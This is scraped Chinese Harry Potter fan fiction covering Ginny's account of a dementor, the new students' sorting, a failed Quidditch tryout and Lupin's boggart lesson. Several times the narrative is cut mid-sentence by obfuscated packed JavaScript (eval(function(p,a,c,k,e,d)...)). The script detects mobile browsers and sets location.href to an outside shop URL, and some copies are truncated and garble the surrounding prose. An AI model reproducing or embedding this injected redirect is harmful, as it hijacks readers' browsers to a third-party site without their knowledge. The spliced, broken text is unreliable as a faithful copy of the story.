“当时——”金妮顿了顿,“我当时只是觉得特别冷,外面结了一层霜,窗户也是。我被吓到了,觉得不对劲,想立刻把你叫起来。”她回想起当时的情景,指尖发白,“我叫不醒你,又不能把你一个人丢在这,只好拿着魔杖守在你前面。就在这时,我从门窗外看到了一块黑色的布,然后感觉更冷了。整个地面突然升起一股雾气,接着门被打开了!腐尸一样散发着恶臭的东西飘了进来,我猜那就是摄魂怪——我没敢看那东西长什么样子,但我用不出魔咒攻击那东西,我当时手一定在抖……正当我以为要完蛋的时候,一只银白的、浑身发光的雪豹突然冲了进来,咬住了那东西……” “一只雪豹?”芙罗拉聚精会神地听着,“那可能是呼神护卫。我听说只有这个咒语能逼退摄魂怪。” “你有看见施咒者长什么样子吗?”芙罗拉问。 金妮闻言,沉重地摇了摇头,“没有——那只雪豹身上的光刺得我眼睛生疼,我闭上眼,直到那阵雾气散去,感觉没那么冷后才睁开眼睛。然后列车员就送来了这盘巧克力,说是有人送给这个包间的客人。我问是谁,他不肯说。” 芙罗拉摸了一把头上的冷汗,“听起来真够奇怪的。” “是啊,你这觉睡得真够长的。外面还下雨了,总觉得这一学年开头不太吉利。不过我们到霍格沃滋就知道今年到底是什么情况了。”她轻轻蹙眉,“总不能比去年还糟糕吧。” 随着她的话,一声长长的鸣笛响起,芙罗拉看向窗外,火车停住了,窗便框住了一幅静态的油画。 一幅正在流泪的油画。 * 开学的流程比去年快很多。许多人都没什么变化,霍格沃滋也还是那个霍格沃滋。 与去年不同的是,学生们从黑湖下船,顺着泥路而上,见到的不是被夜幕星辰照耀着的霍格沃滋,而是在浩渺的雨幕下已然模糊的远方。灰蒙蒙的一片,像尘沙从沙钟里落下。 “哎呦,我鞋子湿了。”说话的是埃拉·帕劳,她下火车的时候恰好看见了芙罗拉和霍普,几人便一起相伴着拿下行李,现在已经下了黑湖,使劲眯着眼睛看还能看见一个矮矮的身影守在霍格沃兹门前。 此时大雨倾盆,鞋子不免踩在泥巴上。 “这时就看出清理一新是个多么伟大的咒语了。”芙罗拉说,帮埃拉“清理”着她自己,“你还记得你是个巫师吗?” “在家又不能用咒语。”埃拉满不情愿地说,“我都过了一个暑假的麻瓜生活了。” 提起这个,金妮就忍不住说起她的埃及旅行,“我们在埃及也差不多,那里还不像英国总是下雨。我在那里只想带着面纱而不是雨伞!” “巫师出门还要带雨伞吗?书上不是说用个水火不侵咒就行了吗?”埃拉问。 “在这里是没问题。”金妮没好气地说,“我们去旁的不存在魔法的地方就要装得和麻瓜一样。这是大家心照不宣的事。” “大家?”埃拉瞪着圆溜溜的眼睛,“大家都这么干嘛?哎,芙罗拉,你说大家要都这么干,会不会往我旁边经过的人都有可能是巫师?” 她被这个猜想惊到,倒吸一口冷气,芙罗拉思绪一转,摇头,说,“巫师身上都带着魔力痕迹,强大的巫师看得出来谁是他们的同类。” “这划分还真是清晰。”埃拉眉头一皱,不太喜欢这个说法,“我反正是看不出来区别……在我看来都是人类啊。只是生活的方式不太一样。比如在家里我总想掏出魔杖来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201291|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 替我扫地,拿出来才发现自己不能在家里用魔法。唉,麻烦是麻烦了点,不过有时还挺有趣的。” 金妮难得惊讶地看着埃拉,“我不知道。我没怎么去过麻瓜的世界。” 她仰着头,看不真切表情。芙罗拉说,“不用魔法扫地?” “是啊,用扫帚扫掉那些地上的灰尘。”埃拉接着说,“前面那是弗利维教授吗?” 弗利维教授的五官像捏团子一样团在一起。 “快进去!”他粗鲁地大喊着,“快进去!” 几乎是被弗利维教授赶进霍格沃兹,金妮还打了个趔趄。 “弗利维教授那两撇小胡子终于跟斯内普的头发一样摸不得了。”她调侃了一句,“妖精不是喜欢雨天来着,怎么雨天到了,他反而更喜欢晴天呢。” “估计碰见什么烦心事吧。”芙罗拉说,心下有了猜测。“不管怎么样,先去礼堂吧。新生的分院仪式不是快开始了吗?” “分院——”埃拉不安地说,“希望我弟弟别分到格兰芬多来。我绝对会跟他打起来的。” “你弟弟?”金妮大吃一惊,“你弟弟也是个巫师?” “他比我小一岁,过生日的时候收到了霍格沃兹的入学通知书。”埃拉提起她弟弟口气都不知不觉变得气愤起来,“他就是那种猫嫌狗厌的小孩,在外头装得人模人样,在家里就只会跟我抢这抢那,他干脆分去斯莱特林好了,省的总在我面前晃,烦人的很。” “弗雷德和乔治之前也说我会被分到斯莱特林……”埃拉的话勾起了金妮的回忆,她也开始抱怨起来:“他们也很烦人,总对我恶作剧。虽然我会报复回去,不过总这样也很烦人。” 芙罗拉三人中作为唯一一个没有兄弟姐妹的人,没有发言权。但眼前金妮和埃拉惺惺相惜的样子总让她幻视起一年级两人结成“讨厌斯内普同盟”的样子。 可能因为升上了二年级,她们前往礼堂的时候没有一年级几百根会跳舞的蜡烛悬浮在周围、没有任何惊喜的新鲜感。礼堂的每个人都好像身处葬礼上,肃穆的气氛根本容不得人开心地笑一笑,由其站在高位的教授们,更是像念悼词的牧师,即将宣布是谁不幸逝世了一样。 等海格带着一群新生进来,冲散了一些紧张,但所有人都置身礼堂时,邓布利多站了起来,他什么都没做,只是静静地站在那里,整个礼堂就仿佛被施了噤声咒一样寂静。 风暴将至。芙罗拉心中隐隐有种预感,这种预感在邓布利多开口的瞬间达到了巅峰。 “亲爱的孩子们……最后,有件更严肃的事。”邓布利多看着下面的学生,一字一句地说,“在魔法部的要求下,来自阿兹卡班的摄魂怪将入驻霍格沃兹,直到小天狼星·布莱克被捕。” 34. 第 34 章 邓布利多简明概要地说明了霍格沃滋新学年的情况。 第一,是神奇动物保护课的教授今年退休了,海格得以成功上位。不过芙罗拉对这门课不感兴趣,也还没到上这门课的年纪,所以这句话在芙罗拉耳中基本等于废话。 第二,是今年的黑魔法防御课教授换成了卢平·莱姆斯,他是一个满脸疤痕的男人,凶恶的长相配上他破旧的袍子,第一眼看上去像个通缉犯。芙罗拉不知道为什么心里感觉怪怪的,她不是很喜欢这个新教授。 第三就是摄魂怪入驻霍格沃滋这事。芙罗拉还没见过这阴暗的鬼魂,最好也不要见到了。听说这狱卒,现在该称是“学校保安”了,这保安单凭容貌就吓晕了哈利·波特,想想吧,那得是多么糟糕的面容。 邓布利多宣布完,又说了几句安慰的话。然后新生的分院仪式才得以继续,除了添加了些恐怖氛围,与去年的流程相比几乎相差无几。 麦格教授依然担当了点名的角色,绿袍女巫严肃高亢的声音回荡在礼堂里。 “……亚伯·帕劳。”麦格教授略微扬起脸,盯着新生的方向。 没人回答她。 “亚伯·帕劳?”她提高声音又说了一遍。 芙罗拉瞥到埃拉捂住了脸,没遮住的部分能看见她抽搐的嘴角。 “……呜啊!抱歉抱歉,没想到这么快就轮到我了。”从新生里钻出一个个子矮小的男生,巫师袍穿在他身上看起来还要大了一个码,袖子完全包住了整条手臂。 “我到现在还在惊讶呢,原来魔法和奇迹都是真的!真不可思议,我还以为埃拉那家伙一直以来都是骗我说自己是上的魔法学校呢哈哈哈哈哈……”他走到放着分院帽的椅子上,一路上自言自语,根本没想到会被人听到一样——事实上礼堂里的大部分人应该都听到了,毕竟现在只有人他一个人在说话,而且声音还不小。 埃拉看起来整个人想钻到地缝里去了。 那个新生带着阳光开朗的笑容戴上了那顶帽子——连帽子都眉飞色舞了起来。 “不要格兰芬多不要格兰芬多不要格兰芬多……”埃拉做出了祈祷的姿势。 帽子的两边眉毛像严重不对称的天平一样一上一下,经过短暂的思考后,他高呼出声。 “格兰芬多!” “梅林究竟在搞什么?!早知道我去求上帝了!”埃拉低声尖叫着。 格兰芬多机械地鼓起掌。 等埃拉她弟弟坐在格兰芬多的位置上时,麦格教授的声音马上响起了。 “下一位是,菲克·艾徳蒙斯。” 这位艾徳蒙斯长得有点眼熟。芙罗拉多看了几眼,端详了几番后想到这张脸她前几十天在奥利凡德魔杖店见过,当时还有阿比盖尔在场。 “怎么了,你看他看得那么入神?”金妮肘了她的背部,悄悄说。 “没。只是看着有点眼熟。”芙罗拉说。 “我也感觉有点。不知道在哪见过。”金妮得到回答,点头,手撑住下巴,眯起眼来,“是在哪呢?” 菲克走上台的步调像是有过走路的专门仪态训练一样,他抬脚似猫,落地轻盈,施然然走上台,分院帽还没到头上,一声“斯莱特林”就迫不及待地喊了出来,然而主人公表情淡淡,对这个结果无悲无喜。他起身,天然的贵族气场无形地散布于四周。礼堂安静了一会,紧接着斯莱特林的掌声热烈起来,这还是今年他们院的第一位新生呢。 “呜哇,他看起来就一幅超强的样子啊。”那位最新的格兰芬多说。 “你说什么呢,那是斯莱特林!那里出来的人都不是什么好人!”有进了格兰芬多的新生反驳他,语气激烈。麦格教授瞪了说话的人一眼,斯内普教授幽幽的眼睛也转过来。 一下子没人说话了。麦格教授缓慢的点名有了一会才继续下去。没过多久,分院结束了。 今年的伙食依然丰盛,但就是没那么热闹。餐后,学生们踏着散漫的步伐一一走出门外,而各个学院的级长带领着一年级生们往相反的方向休息。 二年级原来真的开始了。 芙罗拉终于有了一点实感。 “我说他不应该吃那么多。”三人结伴往格兰芬多公共休息室走,一路上埃拉难得心事重重,走走停停好几次,每次都要忧心地问一句,“你看到他干呕的样子了吗?” 这个“他”自然是指埃拉的弟弟。芙罗拉不理解,之前埃拉的样子分明不太喜欢她弟弟,但现在她又是另一幅截然相反的样子。 这种感情,会是“讨厌”吗? 不太像。 “我说埃拉,”金妮都要听困了,眼睛耷拉下来,“既然这么担心,不如等他到休息室的时候去问一下?不然去庞弗雷夫人那拿瓶魔药给他?” “不是,他小时候就这样,吃多了就吐,还喜欢吃。”埃拉解释说,“一下没看住就……” “是病吗?”芙罗拉突然说。 埃拉摇头,“我也说不准,从小就这样。” “那你等会去问下他有没有不舒服,带他去庞弗雷夫人那看一下。他肯定不知道医务室在哪,刚好可以带他认路。”金妮一锤定音,“光说可解决不了任何问题。” 事情就这么定了下来。埃拉似乎还想说些什么,脸上做些某种挣扎,但片刻后,她屈服了,对两人说,“那你们先去寝室,我在休息室等着。” 既然她这么说,芙罗拉和金妮也没参与别人家事的打算,便先回了寝室。 接下来几天,什么都不怎么新奇。埃拉的弟弟是这单调的霍格沃滋生活中最新奇的东西。 而且特别烦人。 “那是什么那是什么?!呀,埃拉!你知道有巨型章鱼住在黑湖底下吗?” “呜哇,扫帚会飞!是电视里才会出现的场景!魁地奇?那是什么,好玩吗?” “斯内普教授是不是不喜欢格兰芬多?是真的!那么为什么?为什么他不喜欢格兰芬多?!” 问题也未免太多了! 分院帽已经老糊涂到连格兰芬多和拉文克劳都能搞错了吗?! 金妮捂着脑袋,一副头疼的样子如上说。 “喔!因为一切都很厉害啊!”亚伯眼睛亮闪闪地说,“话说拉文克劳学院都喜欢问问题吗?” “没有。”芙罗拉稍微有些心累,一回校感觉周围的气氛都变热烈了,甚至是越来越热烈。 她想到洛夫古德,回答说,“拉文克劳以智慧闻名,所以喜欢研究问题在那里很常见。从我的角度来说,我还挺喜欢他们的。” “你在信里提到过的卢娜·洛夫古德小姐,是拉文克劳的吗?”金妮看起来很好奇。 芙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就这么过了几天。芙罗拉的生活没什么太大变化,除了金妮突然莫名其妙地每天催她睡觉和吃饭,身体似乎变健康了很多外,是如同白开水一样的平淡。 但是那一天还是来了。 芙罗拉紧了紧袖子,戴上了雏菊发卡,她望着镜子里的自己,心说。 要去吗? 镜子里的那家伙告诉她。 当然。 于是几乎毫不犹豫,芙罗拉深吸了一口气,走到了魁地奇球场的观众席,她第一次发现观众席的位置还挺高的。 “芙罗拉!这里这里!好新奇啊,我还是第一次见你主动来魁地奇球场!”埃拉热情地冲她招手,亚伯在她旁边,一直左顾右盼。她小跑到他们身边,低声问,“还没开始吗?” 亚伯看见她,像连环炮一样脱口而出,“上午好啊芙罗拉,这个球场可真大,我还没打过魁地奇,但我觉得那肯定是个不错的娱乐活动!” “你好,亚伯。”芙罗拉拘谨地点头。 “十点开始呢。还有十分钟。”埃拉用小狗般愉快的语气回答道,“我觉得金妮肯定能打进魁地奇队。” “呜喔,金妮很厉害吗?”亚伯大声问,周围一群打算围观的学生朝他的方向看过来。 “嗯。”在视线的簇拥下,芙罗拉客观地说,“单论魁地奇,没有人在天赋上可以胜过金妮。” “真的假的啊?!”亚伯咂舌,眼睛冒出了惊喜的闪光,“这么笃定?没有添油加醋的部分?会不会有你的偏心在啊?” “……”芙罗拉面无表情地偏过头,露出一点微红的耳朵,嘴唇张张合合了几次,像是说了些什么。 埃拉问,“你刚刚说了什么吗?” “没什么……”芙罗拉的声音越来越小,“只是……就算是偏心,也是我的真心。” 35. 第 35 章 金妮从踏上绿茵场的那一刻起,心里就像从高塔扔下了一个一直不落到地上的实心球,就这样悬在空中,难免不踏实。然而,里面材质是实心的,最后总会归于大地。 “准备好了吗!”格兰芬多队的魁地奇队长伍德大喊出声,话一落地,他半举在空中的扫帚就重重撞在地上,撞得萤虫慌忙四处逃窜。金妮早在他说话前就跨坐在了扫帚上,心还是虚着,开始溜溜球似地上下左右地跑。 二年级就有资格进入魁地奇球队,只要通过了考核,这便是一个证明她自己的机会——证明金妮·韦斯莱可以不是躲在所有人背后,她也可以像哥哥,像哈利一样有能力去保护她重要的人。 虽然仅仅只是一个进魁地奇队的机会,这种机会的成功甚至说不上有多么厉害和伟大,但金妮就是觉得这是一个台阶,踏上去了就能改变什么。 伍德就在她紧张的等待中吹下了口哨,哨停,金妮嗖地操纵扫帚向上,飞得太激烈引得狂风呼啸着她披散开的头发,看起来像振翅的红色飞鸟。 追球手的位置。金妮专注地盯着足有足球那么大的鬼飞球,计算她追赶上鬼飞球的距离和时间,她一面还在往上,瞥到守门员魁梧的身形已经在圆柱那等着,虎视眈眈地瞪着任何一个勇于靠近圆环的球。 碰——! 是游走球!金妮追逐鬼飞球的时候,黑得发亮的游走球狰狞地冲她撞过来,她手腕一弯,及时错过了这样野蛮的冲撞,但她分身应对游走球时,鬼飞球可不会照顾她,一眨眼便又飞到另外的地方。 金妮沉下心来,现在千万不能无头苍蝇一样不知方向,她连呼吸都赶不上,握紧扫帚的一刹那她盯紧了另一个对手队的追球手,那人脸上欢欣雀跃,显然得意自己即将到来的胜利。然而金妮不会随他的愿,她顺着他的目光极速前进,几秒后,她看到了鲜红的颜色停滞在空中,不断旋转着,似乎正在思考下一个地方是哪里。 机会!金妮收敛住自己的表情,不给任何人从她脸上知道信息的可能,与此相反的是她的心脏,从溜溜球变成了游走球,把心室搞得乱七八糟。 屏息凝神。如同一个将狩猎玩得炉火纯青的猎人,她死死的视线钉在那摇头晃脑的鬼飞球上。咫尺之间,她快碰到那球了——突然,那球不动了,直直地坠落下去。 金妮立刻俯冲向下,岂料左边竟凭空窜出一人,两人迎面相撞,金妮看清了那人的脸——是先前发现鬼飞球踪迹的家伙! 那家伙比她大了好几倍,金妮被他撞出几十米,左肩清晰地发出“咔擦”的声音,脸色难看地发现他只微微向旁移动了一点,还朝她比了个中指,做完这一切后也将扫帚掉头向下。 金妮被撞开后,稳住了抖个不停的扫帚便也马上继续向下,她体型较小,与人争执赢的可能性渺小。但她飞行的速度可以一提再提。 瞬息间,她已远远把人甩在身后,她依然加快速度,鬼飞球近在眼前了! 咚——! 扫帚重重地打在鬼飞球上,发出撞钟般的沉闷鸣声,她传给了她游荡在圆环附近的队友,队友也发现了这点,将那辛苦拿到的球射向圆环。 射中了!守门员仓促地想要拦住那颗突击猛进的球,然而却抵不住它势不可挡的架势。 哨响。是十比零! 好极了!金妮继续寻找下一个鬼飞球的踪迹。一阵来者不善的风意外出现,吹得她眼睛酸痛。登时那个没能赶上她的追球手出现在她面前,眼神传递出“你完蛋了”的凶意。 金妮的左肩还隐隐做痛,她回敬了他一个中指,做出鬼脸,一把飞向上空,心中暗暗冷笑,是谁完蛋还说不定呢! * 芙罗拉、埃拉和亚伯正坐在观众席观看这一次格兰芬多魁地奇队的队内选拔赛。埃拉仿佛身临其境,跟好些球员一样面红耳赤。亚伯聚精会神,喃喃自语,就像在思索什么卓绝的战术样的。 至于芙罗拉,她对魁地奇只能说一知半解,只草草知道有追球手、击球手和找球手这三个位置。她迷茫地看着天空,黑色的、红色的身影一下像快进的电梯一样上下,一下像疾驰的火车往左或往右。 这是一场危险的角逐。哪怕她不了解规则,单凭球员们的状态,单看裁判员手上变幻莫测的比分,属于竞技比赛的热血氛围包围着她,她却只感到窒息。 高空,坠落,死亡。 摔下去,就会死的。 她很想像身边的埃拉一样,以为至少可以装出精气神不错的样子。她错了。她被泡在洗菜的冷水里,下一秒就被泼到了地下水道,本来就遭受了一遍污染,瞬间染地更加惨烈。 这种惨烈在看到金妮被人撞到一边时变成了泛青蟹壳般的阴色。余夏明明还没褪尽,秋冬却在此时此刻已经吃掉了这点夏的气息。 没有人发觉她的异常。在裁判吹哨示意比赛结束前,找球手抓住了金色飞贼,以190:140的比分结束。 金妮所在的队伍输了。她落下来,整个人像一只淋雨的小狗不知所措。 比赛的时候她一刻都没有看向观众席,但比赛结束后她几乎是一眼就认出了芙罗拉的身影,嘴唇像个优柔寡断的人类,最后只能微笑起来。 微笑的含义有如此之多,金妮的微笑是最简单的那一种。 ——一种安慰。 金妮双手拢住脸,手指往外划圆把热汗擦落。她实在是尽力了,以至于精疲力竭。虽然比赛确实是输了,但选拔赛对个人表现的看重会比结果输赢更多。所以现在她寄希望于队长能认可她的努力,这说不定能实现,她认为自己是不那么差的,甚至还是挺优秀的那一批。 伍德召集起这些人,脸上看不出什么,他沉声道:“这是场很精彩的比赛。现在我来宣布入选名单——” 宣布的过程很快,结果不怎么尽人意。也是,比赛结果一出她就有所意料,不过自己放小了这意料面,挤出一点期待。 她跟所有人一样,只是点头接受了一切。今天真是个好晴天,太阳还很毒辣地挂在天上,一场选拔比赛竟然持续了一个多小时,然后竟然什么都没有改变。 她没有跨上那层台阶。其实也没有那么糟,就是真的踏上了,又能改变什么呢。 晕眩像船一样荡在脑海,芙罗拉她们朝金妮的方向跑去,金妮也走过来,她看上去一点也不难过,挠着头一脸无所谓,连唉声叹气都让人觉得虚伪。 “唉,没办法,这次输了,只能等明年了。”金妮的口气带着些清淡的平静。“嗯?芙罗拉你也真是,我都没一幅要哭的样子,你怎么看起来比我还不好?” 她笑起来,“我昨天明明监督你早睡了啊。” “……”芙罗拉没说话,沉默变成了她们之间一种心照不宣的默契。 埃拉打破这不对劲的氛围,她安慰地拍着金妮的肩膀,正如她什么都没察觉到一样。她说。 “害,只是这次没进罢了。那群人真没眼光,走走走,去吃饭。” “好啊。”金妮的笑容依然那么标准。她勾住芙罗拉的脖颈,用右手。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363255|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她们一行人到礼堂时,已临近十二点。芙罗拉按照往常的食量,小口小口地喝着玉米汤。她注意到金妮比昨天、前天,乃至于开学到现在,今天这顿是她吃得最多的一次。 “……为什么大家都不说话?”她注意到了这与众不同的一点,放下碗,疑惑地问道。 “我,我什么感觉都没有。”没有人接她的话,她后知后觉意识到了什么。“难过也好,什么也好。什么感觉也没有。说到底也没办法,毕竟还只有二年级的我跟三四年级的比还是差了一点。所以,什么感觉也没有。你们看,我还是好好的。” 金妮真的看起来很正常,芙罗拉为这正常的表现难过。金妮在为了正常而正常,她总是这样,总想着没有人会受伤。 但是无法说什么。这是金妮的事,就像金妮阻止不了她想做的事,她也阻止不了金妮想做的事。 这份掺杂了过多了解的友谊,究竟是好,还是不那么好——芙罗拉不想去探究太多了。 亚伯坐到她们身边,当时他知道金妮输了就自觉退了观众的位置,直到现在才露了面。 “我还以为巫师会吃得更奇怪。”他掏起一条死不瞑目的鱼放入嘴里,“结果好像没什么不同……呕,这什么……” “腌鲱鱼。”不怎么喜欢跟亚伯搭话的金妮热情出声,“像从臭水沟里钓上来的味道,每周三都有这么一道菜,真不知道到底是谁在吃这种东西。” “鲱鱼……难怪,闻起来真糟糕。”他的脸几乎跟那条鲱鱼的绿颜色没差了,反正都是倒胃口,他没吃多少,转而想聊天。“二年级的课程是什么样的?”他突然问。 “越来越难了。”埃拉在这个话题上起了活人的生气。“三年级还有选修课呢。” “选修课?”亚伯很有兴趣,“有什么?” “古代魔文,算数占卜,神奇动物保护,占卜和麻瓜研究课。”金妮答道:“我对神奇动物保护课和占卜挺感兴趣。麻瓜研究也不错。” “麻瓜研究。我喜欢麻瓜研究。”埃拉高兴地说,“我就是从麻瓜生活过来的,这门课我肯定能得o。” “选什么都无所谓。”芙罗拉果断说,“这几门课都跟治疗师没什么关系。” “神奇动物保护课听上去还有点联系啊。”亚伯说。 芙罗拉质疑地凝视他,她的视线一向带着连她自己都没发觉的压力,亚伯顿时坐直了,颇有被长辈提问的意思。 “医生和兽医确实没什么关系。”他悻悻然撇嘴,眼睛不自然地垂落斜在一边,突然瞥到一个奇怪的场景。 清脆的“啪”声在不远处响起,亚伯耳朵动了动,是碗跌到桌面的声音。亚伯的眼睛里倒映出那个斯莱特林新生陡然难看的神情,他似乎正在跟另一个人说话,但莫名其妙地是,他身边分明什么人都没有。 他在跟谁说话?他的精神不像有问题的,那样子又像真的跟一个人在对话。那肯定真有其人,可能用了什么什么的魔法道具。那他们说了什么,能让那个厉害的新生——艾徳蒙斯露出那种好似灼烧的冰川的表情? 艾徳蒙斯最后狠狠拧了一下眉,保持这副表情突然朝亚伯的方向看了一眼,转身离开礼堂。 “我去上个厕所。”看着艾徳蒙斯离开的背影,强烈的好奇心吸引亚伯说出这句话。 “不会是要吐了吧,你没吃多少啊。”埃拉一听,那种担心又嫌弃的复杂出现在她脸上。她一挥手,示意亚伯赶紧去。 亚伯离开座位,追着艾徳蒙斯而去。 36. 第 36 章 芙罗拉看了眼时间,平淡如水的脸上起了些波澜。 “还有十分钟就要上课了,还要等下去吗?” “算了。他应该是直接去上课了。我们走吧。” 埃拉的视线停留在亚伯的座位上片刻,然后故作轻松地耸着肩说,“下午是黑魔法防御课吧。新来的教授,听说他是个不错的人。” 金妮简单收拾了下自己,见状只是点头,“那我们走吧。” 礼堂到教室的距离不长,过了几分钟,三人便一同到了教室,里面已经呆了不少人。这节课是跟斯莱特林们一起上的。 在一群二年级的矮豆丁中,莱姆斯·卢平的身形显得格外高大。他站在最前面,疤脸分明凶神恶煞,硬是被他温和的浅笑塑成了神秘的面罩。 芙罗拉不喜欢他。并非是讨厌他周身这种温柔的气质。与此相反的是,她不能容忍的仿佛不是卢平本身,而是更为久远的,生来相克的直觉。 她是无法原谅卢平的。哪怕卢平什么都没有做,仅凭莫须有的罪名,她讨厌他。 卢平自然是不知道这群他要教导的学生中有人如此莫名其妙的讨厌他。上课时间一到,他的眼睛先代替他的嘴唇笑起来。 “我喜欢今天的天气。”卢平开口说,“晴天与这门课是十分相配的。我想,人应该都到齐了?” 这并不像是个问题。因为他马上就转了转眼睛,自己肯定道,“是到齐了。” 卢平拿出魔杖,甚至没让她们拿出教材,他先是示范了几种常见的黑魔法,再干脆利落地用相对应的魔法解决了骚动。这与洛哈特的教学方式大相径庭,在残酷的对比下,卢平至少是个有真材实料的黑魔法防御课教授。 “这就是我们这学期将要学习的内容。”他温和地说。“至于今天,我们会学习有关博格特的知识。” 博格特。芙罗拉心里默默说,这个名词并不陌生,一定要追究形态,它们更像是类似皮皮鬼那样的非实体非灵魂非魔法的存在,从巫师恐惧情绪中诞生的怪物。 卢平也在学生面前介绍这阴暗的物种,“没有人知道博格特在黑暗中是什么样子,它们本身就没有固定的形象,就像是薛定谔的猫,直面它就会变成你最恐惧的事物和场景,尽可能的渲染放大你的恐惧。” “不过。”像是为了留个悬念,他没有接过“不过”后面的内容,而是伸手扯下后面的一层黑布——稍显庞大的东西一直安静地呆在他身后。 一个普通的柜子出现在所有人眼前。卢平微笑着,学生们疑惑地齐望着他。 他还是没有说话,只是侧身迈了一步,立在那柜子前面。 那柜子顿时不对劲了起来,芙罗拉往前走了一步,想看得更清楚些,金妮就在此时拉住了她的袖子。她的脚步卡顿在原地,不远处那柜子开始疯狂抖动着,活像里面藏着一个暴怒的巨怪。 然而,就在柜门想要迫不及待地抱着“巨怪”出来时,卢平退开了。他又转到了旁边。柜门失望地沉静下来。 芙罗拉这时看向了拉住她的那只手,那只手仿佛骨节都嵌在她的袖子上。她抬起眼,金妮不知所措地放开了手。 卢平的声音及时打断了一段可能的对话。他请求一个前排的学生站在柜子前,并问他,“你最害怕的东西是什么?” 芙罗拉的注意力重新回到卢平身上。被他抽中的学生浑身一个激灵,本能想要逃避。但大庭广众下,几十双眼睛汇聚在他身上,科林·克里维嗫嚅了几声,低声说:“蛇。” 卢平的表情变化了几下,声音放轻了许多:“是的,一条蛇确实让人害怕。但如果,是一条滑稽的蛇呢?” 克里维做出了吞咽的动作,卢平邀请他到柜子前,并让他举起魔杖。柜子又发出了令人害怕的声音。 克里维几乎连魔杖都要举不起来了。卢平在一旁鼓励他,“想像你认为最好笑的东西——那条蛇可以是一条鲜艳的绸缎,最好还绑成一个可爱的蝴蝶结什么的,你可以尽情想象,就在……” 柜门轰然打开!那正是一条暗绿色的巨蟒!尖利牙齿咆哮着就要冲到克里维面前,含着唾沫的血丝针雨一样刺向克里维,克里维的瞳孔在眼眶里震碎成恐惧的小点,卢平见状立马大声地说:“跟我念,滑稽滑稽!” “滑稽滑稽!”克里维不顾一切地喊出来,他绝望地闭上眼,声嘶力竭地又喊了一遍:“滑稽滑稽!” 咆哮声消失了,克里维感到有人拍了拍他的肩膀。 “干得好。因为你的勇敢,格兰芬多加五分。”是卢平的声音。克里维心脏跳停了一瞬,慢慢睁开眼缝。 巨蟒消失不见,取而代之的是一条遍布着彩色斑点的绳子拧成了麻花的样子,这麻花还在地上划着圈地跳,它蠢笨的样子让所有人大笑起来。 卢平在大家笑完后,恰到好处地补充了他没有说完的内容:“‘滑稽滑稽’咒语可以强行改变博格特的形象,消除它带来的恐惧,无法消灭它,博格特的弱点是大笑的声音,发自内心的喜悅对它来说就像是毒药一般,会直接消失在虛空。” “还有谁想来试一下?”他笑眯眯地说。 芙罗拉不想试。让人知道自己害怕的东西,这一行为本身就足够让她害怕了。但这似乎是轮流制的流程,她被挤上前,后面堆满了人。大家好像都只把这当成是可以看乐子的恶作剧,跃跃欲试地想要尝试。 金妮试图把她推到后面,埃拉也在前面。在无用的挣扎下,前面的人越来越少,后面浪潮似的一波接着一波。 无暇思考。只能随机应变了。轮到金妮时,她扔了一个复杂的眼神给芙罗拉。而面对博格特的时候,她喊出“滑稽滑稽”,但整个人透露出一种迟缓。 金妮的博格特是韦斯莱夫人。 下一个便是芙罗拉。芙罗拉做好了准备,她举起魔杖,等待着她的恐惧以各种骇人的形象出现在面前。 虽然。 “……这是,什么?”她屏住了呼吸,不如说呼吸掐住了她。 金妮睁大了眼睛,埃拉惊呼出声。 “为什么芙罗拉的博格特会是……一个断掉的雏菊发卡?”埃拉戳了戳金妮的手臂,金妮绷紧了下颚。她出神地看着那个发卡。不,虽然形状很像,但她还记得自己亲手做的发卡是什么样的,一个粗糙的、一看就只能勉勉强强称得上是美观的发卡。 所以。 那个摔落在地上,四分五裂的雏菊发卡是不同的。那种精致和美丽,像是一朵新鲜的花朵被人摘下,无情地碾碎,再扔到地上,余下残缺的凄怆。 芙罗拉没有动作,她突然收回了魔杖。这是博格特给她的恐惧下的定义——摔碎的雏菊发卡。 简直像个笑话。她开始无法理解博格特,正如博格特无法理解她的恐惧一样。 “我觉得不需要用‘滑稽滑稽’,教授。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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芙罗拉站在书架前,手指停在一本书的书脊上,但她本身对这本书是不感兴趣的,不如说,来图书馆只是一个静心的借口。 她轻轻地叹了一口气。 现在的她看到的一切,真的是一切吗? “芙罗……拉?”背后的人似乎不确定是不是她,但还是忽略了认错的尴尬叫住她。 芙罗拉转过身,看见了预料之内的人。“下午好,威尔。”她平静地说。 威尔放松下来,为自己没认错人感到庆幸。他高兴地笑起来,“我刚好正在找你呢。暑假我回老家发现了一点东西,我想你可能会感兴趣——是关于黄金烟斗的。” 芙罗拉敏感地发觉这笑容中那一丝不好意思的骄傲,她愣了一下,然后才说,“你指的是黄金烟斗上的诅咒?” 威尔点头。 “不去追究黄金烟斗,而是去从破除诅咒的角度想。事情就变得简单多了。” 